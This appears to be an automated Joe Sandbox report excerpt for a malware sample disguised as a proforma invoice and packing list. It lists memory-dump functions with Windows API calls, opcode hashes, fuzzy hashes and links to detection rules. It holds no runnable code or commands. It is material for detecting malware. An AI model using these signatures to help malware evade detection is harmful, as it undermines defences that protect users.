
Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 9ebe3c8804c06508cb3d4422048097a7f1a38cb6c1b71abf74a70e2ee8f3452b
Instruction ID: 23cacda2f290cbcd641910191a027fbef312ab1d4df36a88bcbffbac14d5b8ec
Opcode Fuzzy Hash: 9ebe3c8804c06508cb3d4422048097a7f1a38cb6c1b71abf74a70e2ee8f3452b
Instruction Fuzzy Hash: 6C1116B5800249DFDB20CF99C545BDEBFF8FB48320F108459E959A7200C375A544CFA5

Function 04DE0397 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 04DE03F8

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0dceb790ea7484a547686270243d9107842a04e5860b9e53b70ee68e1cc791e5
Instruction ID: e348b19c85450e130d05eef6d64791e2b4bc013e7ffc66561f6c4a9db15cacd8
Opcode Fuzzy Hash: 0dceb790ea7484a547686270243d9107842a04e5860b9e53b70ee68e1cc791e5
Instruction Fuzzy Hash: FD1136B1D002598FDB20DF9AC6457EEBBF4EB48320F14842AD459A3241D778A988CFA1

Function 07271B98 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 07271BFA

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 60cca81012f78d5896d28b3b75c3e642ae23b5022801033dd3e577ea2e05ca97
Instruction ID: e02cb3f4335bd7ed11c78ad36f47601e7916b62c1ad943f2f9a96c42ec7dfa50
Opcode Fuzzy Hash: 60cca81012f78d5896d28b3b75c3e642ae23b5022801033dd3e577ea2e05ca97
Instruction Fuzzy Hash: 231136B1D002498FDB20DFAAC5457DEFBF4EF88324F208829D559A7250CB75A984CFA5

Function 07375FA8 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07376005

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4f6a33217782c7cf92c922fa10c0c3ee53735d325c28ef9d54d396ad718c3e06
Instruction ID: 00a54d1bf1ca49b5c205e3d0cd0b965f97d557116057bf15055c713128c9d651
Opcode Fuzzy Hash: 4f6a33217782c7cf92c922fa10c0c3ee53735d325c28ef9d54d396ad718c3e06
Instruction Fuzzy Hash: A21148B5800349DFDB10CF9AC945BEEFBF8EB48320F108419E558A3250C379A984CFA5

Function 00A5B078 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00A5B0DE

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2c4f2df1ef8e41788c18f12ea518c90c6ff0b103780363b330d0e601f5fb25e5
Instruction ID: 9cda3f01fa2ca570c34ba2006cb89d8b2452db7adc7b2a26840d2e1e5198a5a6
Opcode Fuzzy Hash: 2c4f2df1ef8e41788c18f12ea518c90c6ff0b103780363b330d0e601f5fb25e5
Instruction Fuzzy Hash: 3B110FB6C002498FCB10CF9AC444ADFFBF4EB88324F10842AD829A7250D375A545CFA1

Function 0737BAA0 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0737BB05

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 7d83f491e108aa30828263361b5a055873a5c2a6f9dfa845493f2be39498b832
Instruction ID: 637684cd8e99611b807d57ded6cd682f53658f9758cf5d488b6a4e830017a6ed
Opcode Fuzzy Hash: 7d83f491e108aa30828263361b5a055873a5c2a6f9dfa845493f2be39498b832
Instruction Fuzzy Hash: 4A1100B5D00259CFCB20DFAAD544BDEFBF4EB48324F10842AE859A7210D379A545CFA9

Function 07370C48 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07370CA5

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f4f8808517a341f60bc596b7075f3b9d9c0fbbce478b10c30a4456afb7944bfe
Instruction ID: dad9f0dc25f9344e0742d6f09622e96655d046658a013f807c29c6c0018f06a9
Opcode Fuzzy Hash: f4f8808517a341f60bc596b7075f3b9d9c0fbbce478b10c30a4456afb7944bfe
Instruction Fuzzy Hash: D211D3B5800349DFDB10DF9AC985BDEFBF8EB48324F108459E558A7210C375A944CFA5

Function 0737BAA8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0737BB05

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 72b9fd76b45a83270dcd481272ed54f80dc690e7291e8bdc337bc8d6483fe247
Instruction ID: 33fa63c5a848de012cf3ff40a9e1c8dd19a3eb1f2d19e55a20f4a20bdfee00cb
Opcode Fuzzy Hash: 72b9fd76b45a83270dcd481272ed54f80dc690e7291e8bdc337bc8d6483fe247
Instruction Fuzzy Hash: B3111EB5C00249CFCB20CF9AD544BDEFBF8EB48324F10842AE819A3210C378A544CFA9

Function 0B0402B4 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

(, xrefs: 0B040426

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 66921c5a972454602dc484fbb446062e671bc607becad8b33ac428db486fa79e
Instruction ID: 17edf94bb416986c1c7170b055043a4cf5d60bde567e7a4e81251ad2f35194bf
Opcode Fuzzy Hash: 66921c5a972454602dc484fbb446062e671bc607becad8b33ac428db486fa79e
Instruction Fuzzy Hash: CF0114B5909218CFDB24CB64C940BECB7B9FB4A304F0492EAD509B3252D7309A82CF00

Function 0B042238 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

M, xrefs: 0B04224C

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0e413e58065623810ac18bd32f80541c4a75b0cf5edb489f57377c4918f4b551
Instruction ID: 4421b79d7352b1970245535559b25286fc87e1e2b0edbaf1072c3178e8c00354
Opcode Fuzzy Hash: 0e413e58065623810ac18bd32f80541c4a75b0cf5edb489f57377c4918f4b551
Instruction Fuzzy Hash: E2E0C2B0E15208EBCB08EBB8D5447AC7BF8EB05200F1001A9E80593240E7301E509741

Function 0B0413A0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0de9efe3a9ed4c0662a6a799054aeab397215eb91a3d20fc9b01c3adc6fe435
Instruction ID: 19e896697858161f8d11b14ede418fd789415e0db7e41560496eac3ea122c084
Opcode Fuzzy Hash: c0de9efe3a9ed4c0662a6a799054aeab397215eb91a3d20fc9b01c3adc6fe435
Instruction Fuzzy Hash: EE51B571E00214DFCB18DFAAD990ADEBBF6FF84300F558525E505B72A0EB70A986CB50

Function 0B04138F Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e27f2ec7b058ada62af1b614262b85d20b5e838ab4ce5967108b73a284c0fc53
Instruction ID: 08f76a1bbbb7d09323c76042fb67575015a2205e7549ebc283056138464fa623
Opcode Fuzzy Hash: e27f2ec7b058ada62af1b614262b85d20b5e838ab4ce5967108b73a284c0fc53
Instruction Fuzzy Hash: A551A571E00614DFCB18DFAAC990ADDBBF2FF85300F558565E405B72A4EB70A986CB50

Function 0B040B99 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b457efa2410a23d3f55e2dfc1a1963f4e948abd67014767077e714056fd0466
Instruction ID: 05746ff08795f148eead70dda1c5bbe3cdc5b1aa14a85e581a657877299fb63c
Opcode Fuzzy Hash: 1b457efa2410a23d3f55e2dfc1a1963f4e948abd67014767077e714056fd0466
Instruction Fuzzy Hash: AC3125B1C1921ACFCB24CF60D8846ECBBB6BF8A341F0052A6D51AB6110EB705AC1CF50

Function 009FD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768995017.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0193a96f388592173f2ec0ef304f894ae0fef7fb7817df19612330579cfff041
Instruction ID: 34205300065a2a1a1ae4acb017c5f719685a29f154f39ba631459ad80dc0d3ee
Opcode Fuzzy Hash: 0193a96f388592173f2ec0ef304f894ae0fef7fb7817df19612330579cfff041
Instruction Fuzzy Hash: 5F213A71501208DFDB05DF14D9C4B36BF6AFB94324F20C569DA094B2A6C33AE856C7A2

Function 009FD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768995017.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bd793730dae09f5d9d39dd5da2a819b3b2fcc5efb108a67dfe723d4612f67f3
Instruction ID: 83a322964182aa28feb71c0cc1eb1d71b14da83057a1ae82bbe4529073f8b970
Opcode Fuzzy Hash: 3bd793730dae09f5d9d39dd5da2a819b3b2fcc5efb108a67dfe723d4612f67f3
Instruction Fuzzy Hash: 08213771504248DFDB05DF14D9C0B3BBF66FB98318F20C569EA090B25AC33AD856DBA2

Function 00A0D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769046574.0000000000A0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0d000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9c8c6868854d2339d7aff8238870083d4115294cdd5bafc629f0e7fcc1747b3
Instruction ID: 7b796d719e07c6246e563e06aee805409ed654d0a0b7319fb3b7afefe82fe8ae
Opcode Fuzzy Hash: d9c8c6868854d2339d7aff8238870083d4115294cdd5bafc629f0e7fcc1747b3
Instruction Fuzzy Hash: FC210472504208EFDB05DF94E9C0B66BBA5FB88314F20C66DE8094B296C336D846CA61

Function 00A0D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769046574.0000000000A0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0d000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c2e9a249b27cce4d63a1f4464fd6e7168a81799ef62bdec5fef08a233c6ea78
Instruction ID: 93fb4f283dee840b337c50c4c9e690e6bf98c8133b405ce3d71f31c8c6a0c37f
Opcode Fuzzy Hash: 7c2e9a249b27cce4d63a1f4464fd6e7168a81799ef62bdec5fef08a233c6ea78
Instruction Fuzzy Hash: B821F272604208EFDB14DF54E984B26BFA5FB84314F20C569D84E4B296C33AD847CA61

Function 0B0401A2 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d66a30e3ff2fab3b738e1fdc404774bf4dca0576f3281afc85bd1fc63fa0c92f
Instruction ID: adcb3913f5874ae8987e19daceec24e2821d7c6bea7027907a9cfb6431636721
Opcode Fuzzy Hash: d66a30e3ff2fab3b738e1fdc404774bf4dca0576f3281afc85bd1fc63fa0c92f
Instruction Fuzzy Hash: 5131E7B5909218CFDB68CF64D880BECBBB5BB49301F1491EAD509B7251EB345A85CF50

Function 00A0D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769046574.0000000000A0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0d000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3772ca5fa30dbdf16049056414a17902eaabe77c7a20551a5a4e11924bf25be2
Instruction ID: c63003ccbc24b95458d0cfdfee208dd74ad38dfd1a95a87433ecc9020c0e3792
Opcode Fuzzy Hash: 3772ca5fa30dbdf16049056414a17902eaabe77c7a20551a5a4e11924bf25be2
Instruction Fuzzy Hash: 9621A1765093848FCB02CF24D994715BF71EB46314F28C5DAD8498B6A7C33A980ACB62

Function 0B04046A Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbcf604431b8b4c7df4b85e6281d8e83b040b413412d2e80178ee291a62eab12
Instruction ID: a2f4312f2e0e08be73b16306ba04efe4f42d4edbac5361cbff27dfd60e0b836e
Opcode Fuzzy Hash: dbcf604431b8b4c7df4b85e6281d8e83b040b413412d2e80178ee291a62eab12
Instruction Fuzzy Hash: 622129B4809228CFCB68CF54D8047ECB7B5EB4A311F0494EAC61DB22A1E7348AC5CF40

Function 0B040122 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f4abb4facc67974d22f218bf038efe1ed72b4802ee65fe5b5b9ea71e62cbd2
Instruction ID: be87de6b636daab9d14a5782e6bdbc42ee2d68af97506991a58e321c429b3f0e
Opcode Fuzzy Hash: 81f4abb4facc67974d22f218bf038efe1ed72b4802ee65fe5b5b9ea71e62cbd2
Instruction Fuzzy Hash: 23211AB5908228DFDBA4DF54CC80BDCBBB5AB49700F1080E6D649A7291DB749AC1CF40

Function 009FD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768995017.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: b38dbc54f26123447e69e2737cb0b4992cb26f232b7b02fe039b4f56c4bfe843
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 9E112672404244CFDB02CF00D5C4B26BF72FB94324F24C2A9DD090B666C33AE85ACBA2

Function 009FD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768995017.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: b089c2f696c9c23d1f62d40be746dcabf87776639ea611b44e0b5435e9bc4ba4
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 60110672404244CFCB01CF10D5C4B26BF72FB94318F24C5A9E9050B25AC336D45ACB91

Function 0B04064C Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f7f82d747acff28712b67aa7a2403e26ce3ebb2d56187091a0bf0979f2d4a9e
Instruction ID: 58d102f6d3cb32f70b55be2004bfdc57d92b1039e9d0932565c7c6b6767a32b3
Opcode Fuzzy Hash: 3f7f82d747acff28712b67aa7a2403e26ce3ebb2d56187091a0bf0979f2d4a9e
Instruction Fuzzy Hash: 3B21F5B4804269CFDB69CF54C9487ECBBF5AB09315F1481EAC50DB62A1EB348AC9CF40

Function 00A0D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769046574.0000000000A0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0d000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: b6471e28803d09f6feb110c8383b47adc558274b7172f30b7fc6226815146d53
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: F011BB76504284DFCB02CF54D5C4B55BBA1FB88314F24C6AAD8494B696C33AD80ACB61

Function 009FD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768995017.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f952483bdbbcd8ec877eb2b695ad97b6b9e18778f9f753ecf9e3ae84123cf6a0
Instruction ID: 32d677338345be99d3e8c95c4d66014acad5cdc77677fe090c5db7db51594daa
Opcode Fuzzy Hash: f952483bdbbcd8ec877eb2b695ad97b6b9e18778f9f753ecf9e3ae84123cf6a0
Instruction Fuzzy Hash: AE01F7B100A3489AE7106A29CD84B77BF9DDF41324F18C92AEE094E296C2399C40C771

Function 0B040305 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b982e0a9ad8c4c87650d19e4db8c9ec1e3821331fa6e151195067d50d88b937
Instruction ID: a02450a987c03d4afafcd6de4d908768a47bb30d3ce2c84ce77fb079ac02a40d
Opcode Fuzzy Hash: 7b982e0a9ad8c4c87650d19e4db8c9ec1e3821331fa6e151195067d50d88b937
Instruction Fuzzy Hash: 3F11FE74D14228CFCBA4CFA4D884BEDBBF5EB49300F1080A9D459A6245EB319A86CF40

Function 0B0405E3 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7503e00e120875765f6b573011386fa9f57c4303f05e651a8f84743683767152
Instruction ID: 0f3669e3a69a36b5430a8f1d6542e69168303535364d52fec513aa75675fc0bc
Opcode Fuzzy Hash: 7503e00e120875765f6b573011386fa9f57c4303f05e651a8f84743683767152
Instruction Fuzzy Hash: 4F111574915228CFCFA4CF64C9447EDBBF9EB4A301F1480A9D159B6245EB314A86CF40

Function 0B040254 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d01982ce2d7c98663db9df733c144969ed47fbe9ec9482cfcb61d40a0c86b19a
Instruction ID: b964c0c72c116db662f28b789a447982dfcffffbbeee44e8e6efc3363e5d1f98
Opcode Fuzzy Hash: d01982ce2d7c98663db9df733c144969ed47fbe9ec9482cfcb61d40a0c86b19a
Instruction Fuzzy Hash: 8101E5B5904218DFDB54CF65C840BEDBBF9EB5A300F1491E6D509AB252DB349A8ACF10

Function 0B0405F7 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c21b60f5c98bd9adb66dac441611d39238c1b894ed598ce02f1419a9a74f9eb
Instruction ID: 6916117d003c9b60e3bdfc5618e9eddc4410922177b87f5b1021c166663bdd41
Opcode Fuzzy Hash: 2c21b60f5c98bd9adb66dac441611d39238c1b894ed598ce02f1419a9a74f9eb
Instruction Fuzzy Hash: C1011B74804259CFDB29CF50D9487ECBBF5AB49311F0481EAC51DA6291DB348E85CF00

Function 0B0405D0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c7e3c491e33370c8e6baca92ff37fdc3b329f95129968dd15734c797379dd3
Instruction ID: 600902f62ce51b1dde88e0837f80b0db3c663bad1333a6043d50e1d245eee76b
Opcode Fuzzy Hash: 44c7e3c491e33370c8e6baca92ff37fdc3b329f95129968dd15734c797379dd3
Instruction Fuzzy Hash: 6A0116B4904218DFDB58CB64C940BEDB7B9AB59300F04D1A5950DB7242D7359A89CF50

Function 009FD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768995017.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5028ae973ed29718f7d3af58fe9437aadf973b7b55e3fc4b1edfb52f7f692f2d
Instruction ID: 225aa7b5e88da81eda5af79e76b5ea3a13f167689f1fd5c434c9e4adebd8bdcb
Opcode Fuzzy Hash: 5028ae973ed29718f7d3af58fe9437aadf973b7b55e3fc4b1edfb52f7f692f2d
Instruction Fuzzy Hash: 1EF062714053449EE7109E1AC888B62FFACEF51734F18C45AEE084E296C2799C44CBB1

Function 0B04069B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a7e1fff7766909799d42bf16cc8a1815c5ea2940ad7fea684b41bbeaf22004d
Instruction ID: 52f58c806ede1f07a5660f0e3aa54a07c361252026379b80e9b9d838dbdc09e6
Opcode Fuzzy Hash: 3a7e1fff7766909799d42bf16cc8a1815c5ea2940ad7fea684b41bbeaf22004d
Instruction Fuzzy Hash: 17F05874905218CFDB28CF24D940BECB7B5EB4A310F0481EA841DBB292E730DA86CF00

Function 0B040E91 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6642528f4f5648543028511e5ff71112a9b65864613f2bc5c823a33846d7bb23
Instruction ID: 2869ad16aeebfc221312c2de84b574de24f089989e6949b08a34e90cc4e6efba
Opcode Fuzzy Hash: 6642528f4f5648543028511e5ff71112a9b65864613f2bc5c823a33846d7bb23
Instruction Fuzzy Hash: 8EE086B440E3D09FC71BDBB09A526A93F745F43210B1405DBE0446B1A2DB7A8B24D752

Function 0B040EF0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b040000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bca3dc3c40d4af09fcb5c237e63c2ac3dc7a2f813564dd0c74cc0d03d32b0cf
Instruction ID: 9f8724dccc288d05dec144d5812f1d9334b83687d0baa9f53fcce062ddac7b1e
Opcode Fuzzy Hash: 9bca3dc3c40d4af09fcb5c237e63c2ac3dc7a2f813564dd0c74cc0d03d32b0cf
Instruction Fuzzy Hash: 1CE0174140E3E62EE713AB7818700EABF748D43014B1900D3C8C49B167E64588ADC3EA

Function 0B040832 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775224877.000000000B040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B040000, based on PE: false
